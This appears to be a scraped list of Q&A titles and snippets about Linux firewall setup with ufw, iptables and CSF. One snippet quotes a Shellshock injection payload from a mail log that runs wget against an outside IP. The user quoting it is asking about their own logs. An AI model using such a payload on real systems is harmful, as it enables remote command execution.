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Allowing Longview in UFW firewall; how do these iptable rules translate to UFW-commands?

Linode has some documentation on allowing its product "longview" to go through the firewall. It offers two commands for iptables: iptables -I INPUT -s longview.linode.com -j ACCEPT iptables -I OUTPUT ...
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How do I use Juju local with a firewall?

While using ufw (Uncomplicated FireWall) and I noticed that the local juju machines were stuck in a pending state. $ juju status environment: local machines: "0": agent-state: started ...
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dport is not working on iptables command

In terminal I type : iptables -A INPUT --dport 443 -j DROP And it tells me : iptables v1.4.21: unknown option "--dport" what is wrong with --dport?
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ufw rules don't block deluge

I'm trying to keep deluged on my headless Ubuntu Server 14.04.1 from functioning when the server isn't connected to a VPN (I know many threads exist discussing the best way to accomplish that; I'm not ...
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Do I need to create a firewall rule after installing Android Studio?

Since I installed Android Studio, I have a new network device: virbr0. My system log files keep telling me ufw rejected an incomming connection (one time per minute) wich is kind of annoying because ...
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Deluge download speeds too slow

Total noob to Linux and Ubuntu. Dual Booted Ubuntu 14.04 and Windows 8 in my Dell Studio 1558. Everything was working fine until I noticed that my torrent speeds are very less. I tried it again with ...
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linux gateway / firewall IPtables config

The KVM host is acting as a gateway / firewall for all of the virtual machine's it runs. It has a /26 public IP space configured on LAN interface em1: 1.1.1.1/26 It has a /30 rfc1918 IP configured on ...
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FTP and browser network connection issues in 14.10 Utopic

I have a remotely hosted website. For long I could FTP into it and upload web content, but now when I try, Nautilus tells me after a long waiting time that "oops, something went wrong". Normally I ...
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Virtualbox server 13.10 port forwarding through router access to static IP/internet

I have an Ubuntu 13.10 server guest setup in Virtualbox (I have a windows8.1 machine). My question is: how to setup port forwarding to access the webpage from the internet. I have disabled the ...
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How to config PORT KNOCKING on CSF ubuntu server and access it by linux?

I'm trying to run port knocking work on a CSF on a small VPS, i setup this: 1 - the result of csf first test ok 2 - TCP_IN = "53,80" TCP_OUT = "53,80,113,443" UDP_IN = "53" UDP_OUT = "53,113,123" ...
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Header file for struct proc_dir_entry

I'm writing a firewall for the Linux kernel and I'm using the proc_dir_entry data structure (which I've found in the tutorial I'm currently reading). My firewall is conceived as a kernel module but ...
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apache2 on ubuntu 14 - localhost works but ip doesn't

I've just installed apache2 on my box, along with php5. I can navigate to "localhost" and it works. But I can't access this webserver from another machine... or even locally using the IP address. ...
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add repository under company firewall

I am trying to add apt repository for evernote on ubuntu 14.04 with company firewall. When I execute sudo add-apt-repository ppa:nvbn-rm/ppa, it stops, no response: rna@rna-P400:~$ sudo ...
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Why is ip forwarding not working in xubuntu 14?

I upgraded my gateway computer from xubuntu 12 to 14 and the computers on my home network lost their internet connection. I found that the upgrade had uninstalled my old firewall, Firestarter, and ...
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Firewall and virus software for Ubuntu 14.10 [duplicate]

I've only used a window operating systems in my life. I just began using Ubuntu 14.10 about a week ago after my old Windows OS was corrupted. Using Ubuntu 14.10, how does change the firewall ...
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UFW not enabled at startup

I have enabled the UFW in terminal using "sudo ufw enable" ... But, UFW does not appear to start when the computer starts. After the computer starts, I check the status of the UFW using "sudo ufw ...
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iptables and expressing your IP address to the rules dynamically

I've been recently spending my time refining my iptable rules to be a little more robust than Ark linuxs Simple stateful firewall to include defense against some other known and nefarious attacks. One ...
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Using ufw as a firewall between network segments

I've been using Ubuntu server 12.04 as a router and it worked. Now I'm trying to add some security using ufw. I enabled the ipv4-forwarding feature in the configuration file and added a rule ...
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UFW is blocking all even when I set rules to allow

I am using an ubuntu server, Now I am trying to enable the firewall using these commands: ufw default deny incoming ufw default allow outgoing ufw allow ssh ufw allow www ufw allow https ufw enable ...
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Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
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What is missing in my webserver ufw firewall configuration?

sudo ufw enable sudo ufw logging on sudo ufw allow proto tcp from any to any port 9999 sudo ufw allow proto udp from any to any port 9999 sudo ufw allow 80 sudo ufw app apache sudo ufw app OpenSSH ...
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3.13.0-37-generic basic router repeatable issue - packet loss

I have two desktop PCs and I wish to use them as a simple router between two LAN segments. I am not using NAT, SNAT, DNAT, and all my iptables tables/chains policy are ACCEPT. With iptables wide open ...
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Iptables troubles

I used webwin for iptables management and reset the firewall over webmin (to clear out all the old stuff). I also disabled the feature Activate at book. After that I installed iptables-persistent for ...
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telnet: Unable to connect to remote host: Network is unreachable

I am not able to connect to gmail with telnet using any of the ports. I am using this command: telnet smtp.gmail.com 25 and it gives following error: Trying 74.125.68.108... Trying ...
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Make Proxy Server with arno-iptables-firewall

I am trying to configure arno-iptables-firewall to work with transparent squid but no success. browsing is ok using local configured proxy on the computer but can make the arno-iptables-firewall to ...
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If I turn on the Firewall I cannot connect to the internet

I run GUFW but even on any setting I cannot access the internet if its turned on. Why would this be? I also noticed in the "Listening" box that theres a lot of info going on which I don't understand ...
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Blocking time in request resources

I have this problem in my Ubuntu server 12.04.4: My page is loading too slow, and watching the NET tab from the firebug I can see many blocking time for all requests. There is some way to ...
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using ufw to block outgoing traffic to website

I want to block traffic to a specific domain e.g. mysite.com. I tried blocking the ip address of the site but it does not work: ufw deny from 0.0.0.0 to ip_address_of_site I am still able to acess ...
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How do I set up a firewall/iptables using rc.firewall?

I am new to Ubuntu and am having a bit of trouble getting my firewall set up for my Network Security class. We are set up with 3 virtual machines - a Gateway, a Server, and a Client. We are supposed ...
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UFW for OpenVPN

I want to configure ufw (uncomplicated firewall) for OpenVPN. Connections are only allowed through OpenVPN. Everything else should be blocked. So if OpenVPN is disconnected -> no internet! I found ...
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how to install mod_security apache2.4

I was looking at my logs yesterday, when I saw a bot roaming folders I have in my robots.txt file. I tried to block it with a rule in my UFW firewall, but this did not keep them out. So then I was ...
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ufw not blocking traffic

I have an apache2.4 webserver, and I am trying to block a malicious subnet using ufw. Here is the UFW setup: $ sudo ufw status verbose Status: active Logging: on (low) Default: deny (incoming), ...
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Multiple rate limits in ufw

I have set two rate limits in ufw: In summary: limit http to 120 requests in 60 seconds; and 600 requests in 600 seconds -A ufw-user-input -p tcp --dport 80 -m state --state NEW -m recent --set -A ...
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Whitelist IPs for ufw

I have set some rules in ufw to rate limit connections, as such: -A ufw-user-input -p tcp --dport 25 -m state --state NEW -m recent --set -A ufw-user-input -p tcp --dport 25 -m state --state NEW -m ...
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Ubuntu Server 14.04: Configuring ConfigServer Security & Firewall for Mediatomb

I am currently have issues with getting Mediatomb to work with CSF on my home network server. I have been able to get the Mediatomb server to work with CSF turned off. My Mediatomb web GUI is set to ...
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Shows :::18332 instead of 0.0.0.0:8332, what means that?

What means ::: in front of a port (where usually the IP should be) when doing netstat? It shows :::18332 instead of 0.0.0.0:18332 and I can't connect to that port from the outside. This is for ...
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webstorm website connecting remotely

I am new to Ubuntu and to webstorm so please bare with me if its very basic question. I am trying to connect to the website run by webstorm on Ubuntu from Windows 8.1 PC ...
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How do I find which OS layer (iptables, rp_filter, etc) is dropping a packet?

Let's say that I'm running a ping towards a machine and I see from tcpdump that the icmp echo reply is being received at the ethernet port but the ping program is not getting it. So I know that ...
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UFW behind a router blocks traffic from the outside world

I'm seeing [UFW BLOCK] entries in my logs, where SRC=173.194.67.16 DST=192.168.1.2. My box is behind a router, DST is my internal IP, SRC seems to some Google server and I don't understand how is it ...
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vino-server: local connection works but not remote connection

I would like to remotely take control over ma grandma's PC, where I installed lubundu 14.04.1. This is not a duplicate of this other question (I want to avoid teamviewer + see below). I configured ...
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network bridge not forwarding traffic from span port on router

I want to run several security network tools in LXC containers like ntopng, suricata, snort, etc. I hooked one of my server's NIC's up to a port that is spanned to my firewall... so basically this ...
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I have some questions about Firewall [closed]

So I am pretty new to Linux (With the exception of Android), and being use to the old ways of Windows pretty much all I had to do for Firewall was turn it on and forget about it. However with Ubuntu ...
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Processes in docker cannot connect with ufw enabled

I'm trying to setup a server to use ufw with docker (via dokku.) When ufw is enabled, I cannot open connections from one container to another. When it's disabled, I can connect fine. As an example, I ...
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Has Ubuntu some firewall activated by default?

Because I can't seem to connect to my ip-cam. And mnap produces alternating results if I use the cams IP address: Nmap scan report for 192.0.0.64 Host is up (0.00079s latency). Not shown: 991 closed ...
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How can I tease Sonicwall?

In my college, I can't use the web, because they use Sonicwall network firewalls How can I tease it? For I use all websites in my college? Please see the result when I access a website blocked ...
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Can't Connect to Apache2 Server From External Device (in LAN) Nor From External IP?

I forwarded ports 80 and 443 for my apache 2 server. However, if I: try connecting to the server via external IP or try connecting to the server from a local device via my local ip, I cannot gain ...
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Setting up an Ubuntu Server 14.04 Firewall. Can it Protect multiple pc's on a local network?

I am new to Ubuntu firewalls. I would like to setup an Ubuntu Firewall on computer #1 it can be connected wirelessly or by Ethernet. I have another ubuntu server running on computer #2 and windows 7 ...
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How to block parts of a website

I already use the hosts file to get rid of entire domains that are time sinks, but some websites that largely are wastes of time (eg reddit) have useful parts. So I'd like to allow ...
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what could be blocking port 5060 on my ubuntu 14.04?

I have a ubuntu 14.10, and am trying to telnet into it via port 5060 but I keep failing. I always get the message "Connection closed by foreign host". I checked my iptable, it is default policy to ...
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Skype has stopped working on Ubuntu Studio 14.04.1

This is what Skype displays when I try to connect. I've tried reinstalling, but still no fix. When I sign in on my mobile phone it works, so I know it's an issue affecting only the desktop version.